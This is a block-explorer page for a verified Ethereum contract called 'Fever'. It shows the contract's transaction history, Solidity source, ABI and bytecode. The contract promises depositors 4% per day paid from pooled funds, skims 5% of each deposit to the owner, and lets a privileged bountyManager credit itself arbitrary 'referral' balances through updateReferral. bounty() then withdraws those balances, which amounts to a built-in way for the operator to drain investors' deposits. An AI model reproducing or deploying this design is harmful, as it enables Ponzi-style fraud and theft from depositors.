ETH Price: $3,483.77 (+4.13%)

Contract

0xc249fE0288E75e47e62B138de8D020c9fEE5A9F5
 

Overview

ETH Balance

0.021436132818289521 ETH

Eth Value

$74.68 (@ $3,483.77/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer113188452020-11-24 4:35:041464 days ago1606192504IN
4everFun
0 ETH0.0009185442
Transfer113176052020-11-24 0:00:271464 days ago1606176027IN
4everFun
0 ETH0.00252120
Transfer113175772020-11-23 23:53:311464 days ago1606175611IN
4everFun
0 ETH0.00088242
Bounty103047412020-06-20 20:21:011620 days ago1592684461IN
4everFun
0 ETH0.0003149313.6
Transfer91074632019-12-14 22:37:471809 days ago1576363067IN
4everFun
0.019 ETH00.0001
Withdraw71635912019-02-02 12:55:512125 days ago1549112151IN
4everFun
0 ETH0.000996341
Withdraw67249872018-11-18 3:11:522201 days ago1542510712IN
4everFun
0 ETH0.00024310
Transfer67249182018-11-18 2:54:152201 days ago1542509655IN
4everFun
0 ETH0.00044121
Transfer67249122018-11-18 2:52:422201 days ago1542509562IN
4everFun
0 ETH0.000212710
Transfer67249052018-11-18 2:51:512201 days ago1542509511IN
4everFun
0 ETH0.000212710
Transfer67248202018-11-18 2:28:182201 days ago1542508098IN
4everFun
0 ETH0.000212710
Transfer67248142018-11-18 2:27:182201 days ago1542508038IN
4everFun
0 ETH0.000212710
Transfer67248082018-11-18 2:26:052201 days ago1542507965IN
4everFun
0 ETH0.000212710
Transfer67248002018-11-18 2:24:332201 days ago1542507873IN
4everFun
0 ETH0.000212710
Transfer67247842018-11-18 2:20:112201 days ago1542507611IN
4everFun
0 ETH0.000212710
Withdraw66265642018-11-02 0:06:172217 days ago1541117177IN
4everFun
0 ETH0.000075333.1
Transfer65979362018-10-28 7:29:372222 days ago1540711777IN
4everFun
0 ETH0.000063813
Withdraw65038872018-10-12 23:03:122237 days ago1539385392IN
4everFun
0 ETH0.00012155
Withdraw65038522018-10-12 22:55:012237 days ago1539384901IN
4everFun
0.001 ETH0.0008775241
Withdraw64981572018-10-12 0:43:282238 days ago1539305008IN
4everFun
0 ETH0.000214444
Withdraw64957972018-10-11 15:32:462238 days ago1539271966IN
4everFun
0 ETH0.000267311
Withdraw64895762018-10-10 15:15:262239 days ago1539184526IN
4everFun
0 ETH0.00012155
Transfer64770782018-10-08 14:28:572242 days ago1539008937IN
4everFun
0.01 ETH0.000642719
Transfer64768162018-10-08 13:30:422242 days ago1539005442IN
4everFun
0 ETH0.000063813
Withdraw64645352018-10-06 14:05:232244 days ago1538834723IN
4everFun
0.005 ETH0.00699878327
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
91074632019-12-14 22:37:471809 days ago1576363067
4everFun
0.00095 ETH
64981572018-10-12 0:43:282238 days ago1539305008
4everFun
0.00626305 ETH
64770782018-10-08 14:28:572242 days ago1539008937
4everFun
0.0005 ETH
64367362018-10-02 1:25:242248 days ago1538443524
4everFun
0.00027847 ETH
64350472018-10-01 18:44:432248 days ago1538419483
4everFun
0.0025493 ETH
64349812018-10-01 18:29:462248 days ago1538418586
4everFun
91.64 ETH
64348772018-10-01 18:03:102248 days ago1538416990
4everFun
0.00319833 ETH
64348502018-10-01 17:58:282248 days ago1538416708
4everFun
0.09011111 ETH
64348092018-10-01 17:48:402248 days ago1538416120
4everFun
0.00590483 ETH
64347712018-10-01 17:41:452248 days ago1538415705
4everFun
0.00447333 ETH
64347572018-10-01 17:39:132248 days ago1538415553
4everFun
0.00679777 ETH
64347412018-10-01 17:35:362248 days ago1538415336
4everFun
0.00958964 ETH
64347292018-10-01 17:31:072248 days ago1538415067
4everFun
0.087185 ETH
64346722018-10-01 17:18:322248 days ago1538414312
4everFun
0.00602916 ETH
64346612018-10-01 17:15:342248 days ago1538414134
4everFun
0.08161111 ETH
64346442018-10-01 17:12:282248 days ago1538413948
4everFun
0.01182666 ETH
64346312018-10-01 17:09:122248 days ago1538413752
4everFun
0.001 ETH
64345872018-10-01 16:58:452248 days ago1538413125
4everFun
0.001 ETH
64345872018-10-01 16:58:452248 days ago1538413125
4everFun
0.00132166 ETH
64345552018-10-01 16:51:492248 days ago1538412709
4everFun
0.01683333 ETH
64345212018-10-01 16:42:282248 days ago1538412148
4everFun
0.0005 ETH
64345212018-10-01 16:42:282248 days ago1538412148
4everFun
0.00134583 ETH
64345012018-10-01 16:36:542248 days ago1538411814
4everFun
0.01684572 ETH
64344952018-10-01 16:35:342248 days ago1538411734
4everFun
0.00401805 ETH
64344782018-10-01 16:33:152248 days ago1538411595
4everFun
0.13 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Fever

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-09-10
*/

pragma solidity ^0.4.24;

/**
*
* $$\   $$\ $$\   $$\ 
* $$ |  $$ |\__| $$  |
* $$ |  $$ |    $$  / 
* $$$$$$$$ |   $$  /  
* \_____$$ |  $$  /   
*       $$ | $$  /    
*       $$ |$$  / $$\ 
*       \__|\__/  \__|
*/
contract Fever{
    
    using SafeMath for uint256;

    mapping(address => uint256) investments;
    mapping(address => uint256) joined;
    mapping(address => uint256) withdrawals;
    mapping(address => uint256) referrer;

    uint256 public minimum = 10000000000000000;
    uint256 public step = 4;
    address public ownerWallet;
    address public owner;
    address public bountyManager;

    event Invest(address investor, uint256 amount);
    event Withdraw(address investor, uint256 amount);
    event Bounty(address hunter, uint256 amount);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Сonstructor Sets the original roles of the contract 
     */
     
    constructor(address _bountyManager) public {
        owner = msg.sender;
        ownerWallet = msg.sender;
        bountyManager = _bountyManager;
    }

    /**
     * @dev Modifiers
     */
     
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    modifier onlyBountyManager() {
        require(msg.sender == bountyManager);
        _;
	}

    /**
     * @dev Allows current owner to transfer control of the contract to a newOwner.
     * @param newOwner The address to transfer ownership to.
     * @param newOwnerWallet The address to transfer ownership to.
     */
    function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        ownerWallet = newOwnerWallet;
    }

    /**
     * @dev Investments
     */
    function () external payable {
        require(msg.value >= minimum);
        if (investments[msg.sender] > 0){
            if (withdraw()){
                withdrawals[msg.sender] = 0;
            }
        }
        investments[msg.sender] = investments[msg.sender].add(msg.value);
        joined[msg.sender] = block.timestamp;
        ownerWallet.transfer(msg.value.div(100).mul(5));
        emit Invest(msg.sender, msg.value);
    }

    /**
    * @dev Evaluate current balance
    * @param _address Address of investor
    */
    function getBalance(address _address) view public returns (uint256) {
        uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
        uint256 percent = investments[_address].mul(step).div(100);
        uint256 different = percent.mul(minutesCount).div(1440);
        uint256 balance = different.sub(withdrawals[_address]);

        return balance;
    }

    /**
    * @dev Withdraw dividends from contract
    */
    function withdraw() public returns (bool){
        require(joined[msg.sender] > 0);
        uint256 balance = getBalance(msg.sender);
        if (address(this).balance > balance){
            if (balance > 0){
                withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
                msg.sender.transfer(balance);
                emit Withdraw(msg.sender, balance);
            }
            return true;
        } else {
            return false;
        }
    }
    
    /**
    * @dev Bounty reward
    */
    function bounty() public {
        uint256 refBalance = checkReferral(msg.sender);
        if(refBalance >= minimum) {
             if (address(this).balance > refBalance) {
                referrer[msg.sender] = 0;
                msg.sender.transfer(refBalance);
                emit Bounty(msg.sender, refBalance);
             }
        }
    }

    /**
    * @dev Gets balance of the sender address.
    * @return An uint256 representing the amount owned by the msg.sender.
    */
    function checkBalance() public view returns (uint256) {
        return getBalance(msg.sender);
    }

    /**
    * @dev Gets withdrawals of the specified address.
    * @param _investor The address to query the the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function checkWithdrawals(address _investor) public view returns (uint256) {
        return withdrawals[_investor];
    }

    /**
    * @dev Gets investments of the specified address.
    * @param _investor The address to query the the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function checkInvestments(address _investor) public view returns (uint256) {
        return investments[_investor];
    }

    /**
    * @dev Gets referrer balance of the specified address.
    * @param _hunter The address of the referrer
    * @return An uint256 representing the referral earnings.
    */
    function checkReferral(address _hunter) public view returns (uint256) {
        return referrer[_hunter];
    }
    
    /**
    * @dev Updates referrer balance 
    * @param _hunter The address of the referrer
    * @param _amount An uint256 representing the referral earnings.
    */
    function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
        referrer[_hunter] = referrer[_hunter].add(_amount);
    }
    
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[{"name":"_hunter","type":"address"}],"name":"checkReferral","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minimum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"},{"name":"newOwnerWallet","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_investor","type":"address"}],"name":"checkInvestments","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ownerWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"bounty","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_investor","type":"address"}],"name":"checkWithdrawals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bountyManager","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"checkBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_hunter","type":"address"},{"name":"_amount","type":"uint256"}],"name":"updateReferral","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"step","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_address","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_bountyManager","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"investor","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Invest","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"investor","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"hunter","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Bounty","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}]

6080604052662386f26fc10000600455600460055534801561002057600080fd5b5060405160208061089b83398101604052516007805433600160a060020a0319918216811790925560068054821690921790915560088054909116600160a060020a039092169190911790556108208061007b6000396000f3006080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c19f80e81146101e45780633ccfd60b1461021757806352d6804d146102405780636d43542114610255578063835c11541461027e5780638da5cb5b1461029f5780639335dcb7146102d0578063943dfef1146102e55780639d9fcc72146102fa578063b36b9ffd1461031b578063c71daccb14610330578063d3cde1a514610345578063e25fe17514610369578063f8b2cb4f1461037e575b6004543410156100de57600080fd5b336000908152602081905260408120541115610112576100fc61039f565b1561011257336000908152600260205260408120555b33600090815260208190526040902054610132903463ffffffff61048616565b33600090815260208181526040808320939093556001905220429055600654600160a060020a03166108fc61017f600561017334606463ffffffff6104a016565b9063ffffffff6104b716565b6040518115909202916000818181858888f193505050501580156101a7573d6000803e3d6000fd5b506040805133815234602082015281517fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e929181900390910190a1005b3480156101f057600080fd5b50610205600160a060020a03600435166104e2565b60408051918252519081900360200190f35b34801561022357600080fd5b5061022c61039f565b604080519115158252519081900360200190f35b34801561024c57600080fd5b506102056104fd565b34801561026157600080fd5b5061027c600160a060020a0360043581169060243516610503565b005b34801561028a57600080fd5b50610205600160a060020a03600435166105a4565b3480156102ab57600080fd5b506102b46105bf565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506102b46105ce565b3480156102f157600080fd5b5061027c6105dd565b34801561030657600080fd5b50610205600160a060020a0360043516610678565b34801561032757600080fd5b506102b4610693565b34801561033c57600080fd5b506102056106a2565b34801561035157600080fd5b5061027c600160a060020a03600435166024356106b2565b34801561037557600080fd5b50610205610712565b34801561038a57600080fd5b50610205600160a060020a0360043516610718565b33600090815260016020526040812054819081106103bc57600080fd5b6103c533610718565b9050303181101561047d57600081111561047457336000908152600260205260409020546103f9908263ffffffff61048616565b33600081815260026020526040808220939093559151909183156108fc02918491818181858888f19350505050158015610437573d6000803e3d6000fd5b50604080513381526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b60019150610482565b600091505b5090565b60008282018381101561049557fe5b8091505b5092915050565b60008082848115156104ae57fe5b04949350505050565b6000808315156104ca5760009150610499565b508282028284828115156104da57fe5b041461049557fe5b600160a060020a031660009081526003602052604090205490565b60045481565b600754600160a060020a0316331461051a57600080fd5b600160a060020a038216151561052f57600080fd5b600754604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360078054600160a060020a0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560068054929093169116179055565b600160a060020a031660009081526020819052604090205490565b600754600160a060020a031681565b600654600160a060020a031681565b60006105e8336104e2565b600454909150811061067557303181101561067557336000818152600360205260408082208290555183156108fc0291849190818181858888f19350505050158015610638573d6000803e3d6000fd5b50604080513381526020810183905281517f4cc4e2a1284006914465e82a99bce908c3ad5b5d4b08fbef40faf68169cee2a8929181900390910190a15b50565b600160a060020a031660009081526002602052604090205490565b600854600160a060020a031681565b60006106ad33610718565b905090565b600854600160a060020a031633146106c957600080fd5b600160a060020a0382166000908152600360205260409020546106f2908263ffffffff61048616565b600160a060020a0390921660009081526003602052604090209190915550565b60055481565b600160a060020a038116600090815260016020526040812054819081908190819061075d90603c9061075190429063ffffffff6107e216565b9063ffffffff6104a016565b600554600160a060020a03881660009081526020819052604090205491955061079391606491610751919063ffffffff6104b716565b92506107ab6105a0610751858763ffffffff6104b716565b600160a060020a0387166000908152600260205260409020549092506107d890839063ffffffff6107e216565b9695505050505050565b6000828211156107ee57fe5b509003905600a165627a7a7230582087b2efd0e57ba3beea32090edc51003b1f480fa2d199cb0b99e792308a524fc2002900000000000000000000000048337105dc18d24a353fce422b3dc067f6438bae

Deployed Bytecode

0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c19f80e81146101e45780633ccfd60b1461021757806352d6804d146102405780636d43542114610255578063835c11541461027e5780638da5cb5b1461029f5780639335dcb7146102d0578063943dfef1146102e55780639d9fcc72146102fa578063b36b9ffd1461031b578063c71daccb14610330578063d3cde1a514610345578063e25fe17514610369578063f8b2cb4f1461037e575b6004543410156100de57600080fd5b336000908152602081905260408120541115610112576100fc61039f565b1561011257336000908152600260205260408120555b33600090815260208190526040902054610132903463ffffffff61048616565b33600090815260208181526040808320939093556001905220429055600654600160a060020a03166108fc61017f600561017334606463ffffffff6104a016565b9063ffffffff6104b716565b6040518115909202916000818181858888f193505050501580156101a7573d6000803e3d6000fd5b506040805133815234602082015281517fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e929181900390910190a1005b3480156101f057600080fd5b50610205600160a060020a03600435166104e2565b60408051918252519081900360200190f35b34801561022357600080fd5b5061022c61039f565b604080519115158252519081900360200190f35b34801561024c57600080fd5b506102056104fd565b34801561026157600080fd5b5061027c600160a060020a0360043581169060243516610503565b005b34801561028a57600080fd5b50610205600160a060020a03600435166105a4565b3480156102ab57600080fd5b506102b46105bf565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506102b46105ce565b3480156102f157600080fd5b5061027c6105dd565b34801561030657600080fd5b50610205600160a060020a0360043516610678565b34801561032757600080fd5b506102b4610693565b34801561033c57600080fd5b506102056106a2565b34801561035157600080fd5b5061027c600160a060020a03600435166024356106b2565b34801561037557600080fd5b50610205610712565b34801561038a57600080fd5b50610205600160a060020a0360043516610718565b33600090815260016020526040812054819081106103bc57600080fd5b6103c533610718565b9050303181101561047d57600081111561047457336000908152600260205260409020546103f9908263ffffffff61048616565b33600081815260026020526040808220939093559151909183156108fc02918491818181858888f19350505050158015610437573d6000803e3d6000fd5b50604080513381526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b60019150610482565b600091505b5090565b60008282018381101561049557fe5b8091505b5092915050565b60008082848115156104ae57fe5b04949350505050565b6000808315156104ca5760009150610499565b508282028284828115156104da57fe5b041461049557fe5b600160a060020a031660009081526003602052604090205490565b60045481565b600754600160a060020a0316331461051a57600080fd5b600160a060020a038216151561052f57600080fd5b600754604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360078054600160a060020a0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560068054929093169116179055565b600160a060020a031660009081526020819052604090205490565b600754600160a060020a031681565b600654600160a060020a031681565b60006105e8336104e2565b600454909150811061067557303181101561067557336000818152600360205260408082208290555183156108fc0291849190818181858888f19350505050158015610638573d6000803e3d6000fd5b50604080513381526020810183905281517f4cc4e2a1284006914465e82a99bce908c3ad5b5d4b08fbef40faf68169cee2a8929181900390910190a15b50565b600160a060020a031660009081526002602052604090205490565b600854600160a060020a031681565b60006106ad33610718565b905090565b600854600160a060020a031633146106c957600080fd5b600160a060020a0382166000908152600360205260409020546106f2908263ffffffff61048616565b600160a060020a0390921660009081526003602052604090209190915550565b60055481565b600160a060020a038116600090815260016020526040812054819081908190819061075d90603c9061075190429063ffffffff6107e216565b9063ffffffff6104a016565b600554600160a060020a03881660009081526020819052604090205491955061079391606491610751919063ffffffff6104b716565b92506107ab6105a0610751858763ffffffff6104b716565b600160a060020a0387166000908152600260205260409020549092506107d890839063ffffffff6107e216565b9695505050505050565b6000828211156107ee57fe5b509003905600a165627a7a7230582087b2efd0e57ba3beea32090edc51003b1f480fa2d199cb0b99e792308a524fc20029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000048337105dc18d24a353fce422b3dc067f6438bae

-----Decoded View---------------
Arg [0] : _bountyManager (address): 0x48337105DC18D24A353fce422b3DC067F6438bAE

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000048337105dc18d24a353fce422b3dc067f6438bae


Swarm Source

bzzr://87b2efd0e57ba3beea32090edc51003b1f480fa2d199cb0b99e792308a524fc2

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.